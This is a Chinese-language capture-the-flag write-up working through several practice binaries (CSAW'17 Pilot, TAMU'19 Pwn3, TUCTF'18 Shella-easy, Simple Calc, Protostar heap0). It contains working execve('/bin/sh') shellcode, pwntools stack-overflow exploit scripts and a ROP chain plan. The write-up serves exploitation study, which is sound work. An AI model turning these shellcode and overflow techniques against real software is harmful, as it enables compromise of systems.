# Nightmare #2 ###### tags: `security` ## 06: CSAW'17 Pilot - 先 recon, 是 64-bit 的 ELF, 掃到的保護機制狀態如下 ![](https://i.imgur.com/Ji3NhT4.png) - 每次執行所顯示的 location 都不一樣, 所以應該是開了 ASLR ![](https://i.imgur.com/x8PyOrI.png) - 在類似 main function 的 FUN_004009a6() 觀察到可以利用 read() 提供使用者輸入 ![](https://i.imgur.com/okXvtNs.png) - 雖然在 symbol tree 沒有發現可利用的 function 讓我們直接看 flag, 但在 gdb 用 info proc 得到 pid 後, 在 terminal 下 cat /proc/[pid]/maps, 可以觀察到 stack 具有 RWX 權限; 因此我們可以在 buffer 塞 shellcode, 執行 malicious code ![](https://i.imgur.com/8Y2VSwp.png) ![](https://i.imgur.com/YwNu4MW.png) - prompt 所印出的 "Location:" 即 leak 出 buffer 開始的地方, 所以我們可以在 read() 的 return address 塞成此位址, 強迫它跳轉執行我們的 shellcode; 用 radare2 觀察到 buffer 大小是 0x20, 加上 old rbp, 總共大小是 40 bytes, 所以我們寫的 shellcode 要注意需限制在 40 bytes 內 ![](https://i.imgur.com/XKi51j3.png) - 寫一個執行 execve("/bin/sh") 的 shellcode, 將 "/bin/sh" 轉成 16 進位後 (用 online string to hex converter), 得到 0x2f62696e2f7368, 須注意是 little-endian, 所以要存成 0x68732f6e69622f ```assembly= .global _start _start: mov rax, 0x68732f6e69622f ; "/bin/sh" push rax mov rdi, rsp mov rax, 0x3b ; execve xor rsi, rsi xor rdx, rdx syscall ``` ``` $ gcc -nostdlib -static shellcode.s -o shellcode ``` - compile 完後, 確認可以執行, 用 objdump (-D -M intel) 取得我們要的指令 (text section) ![](https://i.imgur.com/zm5jJtt.png) ![](https://i.imgur.com/KBa6ZiW.png) - 因此可以寫成 exploit ```python= import pwn proc = pwn.process("./pilot") shellcode = proc.recvuntil("Location:") ret_addr = proc.recvuntil("\n")[:-1] shellcode = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05" payload = shellcode + "a" * (0x20 + 8 - len(shellcode)) + pwn.p64(int(ret_addr, 16)) proc.send(payload) proc.interactive() ``` ![](https://i.imgur.com/cB4rqFO.png) - 補充:若要縮減 shellcode 大小, 可以用一些 trick (eg. 用 mov 清空 -> 改用 xor), 如果 vulnerable function 是跟 string 有關的 (eg. strcmp) 就要小心把 \x00 替換掉, 避免被截斷 - reference https://masterccc.github.io/memo/shellcode/ ## 06: TAMU'19 Pwn3 - 先 recon, 是 32-bit 的 ELF, 保護機制如下 ![](https://i.imgur.com/I3mcLer.png) - 用 ghidra 打開, 有可利用 function echo(), 裡面呼叫危險函數 gets() (因為 gets 不檢查 input 大小), 並且 prompt 還提示我們輸入的位址 ![](https://i.imgur.com/ATXWCmm.png) - 觀察到 stack 有寫入和執行的權限, 因此我們可以在裡面塞 shellcode, 跳轉回來, 讓它執行; 須注意 gets() 遇到換行 \n (0x0a) 會截斷 ![](https://i.imgur.com/5K6Qcgl.png) - 觀察 buffer 大小, 為 0x12a ![](https://i.imgur.com/DfNNnZK.png) - 網路上有很多寫好的 shellcode database 可以利用 (eg. shell-storm, eploit-db), 我們要找的是 Linux x86 (32-bit), 執行 execve("/bin/sh"), 我用的是這個 https://www.exploit-db.com/exploits/42428 ```c= unsigned char code[] = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; ``` - 利用以上寫成 exploit ```python= import pwn proc = pwn.process("./pwn3") shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" proc.recvuntil("journey ") ret_addr = proc.recvuntil("!\n")[:-2] payload = shellcode + "a" * (0x12a + 4 - len(shellcode)) + pwn.p32(int(ret_addr, 16)) proc.sendline(payload) proc.interactive() ``` ![](https://i.imgur.com/EiQgUfY.png) ## 06: TUCTF'18 Shella-easy - 先 reconf, 是 32-bit 的 ELF ![](https://i.imgur.com/80peZGP.png) - 打開 ghidra 觀察, 可以看到程式使用不安全的 function gets(), 並且 stack 可執行; 所以我們可以在 input 塞 shellcode 來 spawn shell ![](https://i.imgur.com/n9d9Y8K.png) - prompt leak input 的位址, 用 radare2 觀察到 input 是放在 [ebp-0x48], 須注意跳轉回來時要把 local_c, 也就是放在 [ebp-0x8] 的值改成 0xdeadbeef, 才不會執行 exit(0) ![](https://i.imgur.com/RoO20Z8.png) - shellcode 我是用這段 code http://shell-storm.org/shellcode/files/shellcode-811.php, 在 Linux x86 (32-bit) 執行 execve("/bin/sh"), 大小是 28 bytes; 寫成 exploit 如下 ```python= import pwn proc = pwn.process("./shella-easy") leak = proc.recvline() addr = leak.strip("Yeah I'll have a ") addr = addr.strip(" with a side of fries thanks\n") shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload = shellcode + "a" * (0x40 - len(shellcode)) + pwn.p32(0xdeadbeef) + "b" * (0x8 + 4 - 4) + pwn.p32(int(addr, 16)) proc.sendline(payload) proc.interactive() ``` ![](https://i.imgur.com/yw32iZt.png) ## 07: Boston Key Part'16: Simple Calc - 先 recon, 是 64-bit 的 ELF, 掃到保護機制如下, 可以看到 PIE 沒開, 但 NX 被打開了, 也就是說 stack 不可執行 ![](https://i.imgur.com/9XEwtUq.png) ![](https://i.imgur.com/fa5m9v2.png) - 用 ghidra 打開觀察 decompile 的結果, 可以發現程式讓使用者先輸入 1. 想運算幾次 2. 想運算什麼; 並且我們也可以觀察到程式限制使用者輸入運算次數需介於 3 到 0x100 之間, 如果符合此範圍, 會配置出一塊 input * 4 (input << 2) 的空間, 並用 ptr 指向這個空間開始的位置 ![](https://i.imgur.com/TN9hwbd.png) - 繼續往下觀察, 可以知道 case 1 是在做加法運算, case 2 做減法運算, case 3 做乘法運算, case 4 做除法運算; case 5 的 `Save and Exit` 做的則是把 ptr 所指向的空間複製 input * 4 的大小到一個 buffer, 因為沒有檢查大小, 所以我們可以利用它製造出一個 buffer overflow; 可以觀察到 memcpy 把 [rbp-0x10] copy 到 [rbp-0x40] ![](https://i.imgur.com/1Rl6Hlo.png) ![](https://i.imgur.com/iv3G12R.png) - 因為 NX 是打開的 (stack 不可執行), 所以我們不能在 stack 裡面塞 shellcode, 把 return address 改成 shellcode 開始的地方來強迫它執行; 但是我們可以利用 ret2libc attack, 更 general 來說是 ROP attack, 利用可執行的 libc 等其他空間中, 將其可利用的指令串接起來, 達成我們的目的 - 在 memcpy 下一行指令設中斷點, 先觀察執行完 memcpy 後, stack 長什麼樣:第一次輸入 1 做加法, x 值給 547397792, y 值給 547397793, 加起來會是 0x41414141; 第二次同樣輸入 1 做加法, x 跟 y 值給 555819297, 加起來會是 0x42424242; 可以觀察到因為做 32-bit 的運算, 結果存的是 0x4242424241414141, 但我們目標是 0x0000000041414141 和 0x0000000042424242, 所以要手動 padding (可以利用程式所提供的減法運算) ![](https://i.imgur.com/NwAkbxx.png) ![](https://i.imgur.com/CplRZUj.png) - 我們的目標是執行 execve("/bin/sh"), 根據 64-bit 的 Linux syscall table (https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md), 可以知道暫存器 rax 要塞 0x3b (syscall number), rdi 要塞指向字串 "/bin/sh" 的指標 (arg0), rsi (arg1) 和 rdx (arg2) 則塞 NULL 就可以了 ![](https://i.imgur.com/rosfAJz.png) - 利用 ROPGadget 找出可以利用的 gadget, 有關 ROP chain 可以參考 Lays 的投影片 https://www.slideshare.net/hackstuff/rop-40525248 ![](https://i.imgur.com/lJdybwB.png) ![](https://i.imgur.com/aswMrX8.png) ![](https://i.imgur.com/1LZmGGh.png) ![](https://i.imgur.com/IHSCbmn.png) ![](https://i.imgur.com/q9KHBZC.png) - 因為找不到寫好的 string "/bin/sh", 所以我們要自己寫, 下 vmmap 指令, 發現 0x6c0000 - 0x6c3000 這塊記憶體有寫入的權限, 所以等一下會把 "/bin/sh" 寫到這裡 (i.e., 0x6c0000) ![](https://i.imgur.com/6mko7H2.png) - 想要設計出的 stack, 由低位址到高位址大概長這樣 ``` buffer old rbp ----------- # original return address -> 從這裡開始建構 ROP chain pop rax; ret; 0x3b pop rdx; ret; "/bin/sh" pop rdi; ret; 0x6c0000 mov qword ptr [rdi], rdx; ret; pop rsi; ret; 0x0 pop rdx; ret; 0x0 syscall ``` - 需要注意的是, memcpy 執行完後, 會呼叫 free(ptr), 為了避免配置的空間被 free 掉, 可以在 free() 的參數塞 0, 我是直接把整塊 buffer 都寫 0; 綜合以上, 寫成 [exploit](https://github.com/chuang76/writ3up/blob/main/practice/simplecalc-exp.py), 就可以 spawn the shell! ![](https://i.imgur.com/7mIV9Tl.png) ## 24: Protostar: heap0 - 先 recon, 是 32-bit 的 ELF, PIE 沒開, NX 打開了 ![](https://i.imgur.com/sK137Dp.png) - 用 ghidra 打開:malloc 兩個記憶體空間, 分別是 0x40 bytes 和 4 bytes, 回傳指標 ptr1 和 ptr2; 之後呼叫 strcpy(), 因為沒有檢查大小, 所以可以利用它製造 overflow ![](https://i.imgur.com/GlPnRq6.png) - 另外在 symbol tree 中, 可以觀察到 target:winner() function, 位址是 0x080484b6 ![](https://i.imgur.com/eBVZqZj.png) - 因為沒開 PIE, 並且執行 heap0 可以知道 ptr1 到 ptr2 之間相差 0x50 bytes, 所以可以寫 exploit 如下, 成功 level passed ![](https://i.imgur.com/RBgagkT.png) ![](https://i.imgur.com/dWZNvpS.png)